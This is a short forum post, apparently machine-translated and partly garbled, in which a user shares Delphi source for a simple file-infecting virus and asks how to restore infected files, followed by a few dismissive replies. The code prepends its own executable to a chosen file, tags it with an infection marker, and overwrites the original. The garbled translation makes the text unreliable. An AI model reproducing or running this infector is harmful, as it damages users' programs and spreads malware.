By the way, the infected files how to change back to its original state,
Thank you, the code is as follows:
Procedure TForm1. Button1Click (Sender: TObject);
The begin
If OpenDialog1. Execute then
Edit1. Text:=OpenDialog1. FileName;
end;
Procedure TForm1. Copy (s: String);
Var
S1, s2: TMemoryStream;
Id, idd: Longint;
The begin
Id:=$+ StrToInt (' 66666666 ');
S1:=TMemoryStream. Create;
S1. LoadFromFile (paramstr (0));
S2:=TMemoryStream. Create;
S2. LoadFromFile (s);
S2. Seek (4, soFromEnd);
S2. Read (idd, 4);
If idd=id then
The begin
S1. Free;
S2. Free;
ShowMessage (' file has been infected, body, ');
The end;
//else
//the begin
S2. Seek (0, soFromBeginning);
S1. The Seek (0, soFromEnd);
S1. CopyFrom (s2, s2. The Size).
S1. The Seek (0, soFromEnd);
S1. Write (id, 4);
S1. SaveToFile (s);
S1. Free;
S2. Free;
ShowMessage (' file into has successfully infected become ');
//end;
end;
Procedure TForm1. Button2Click (Sender: TObject);
The begin
If Edit1. Text<> "' then
Copy (Edit1. Text)
The else
ShowMessage (' please choose good will, infected files,,, ');
end;
end.
CodePudding user response:
First learn to walk before you run,CodePudding user response:
The motive...CodePudding user response:
People and heroes...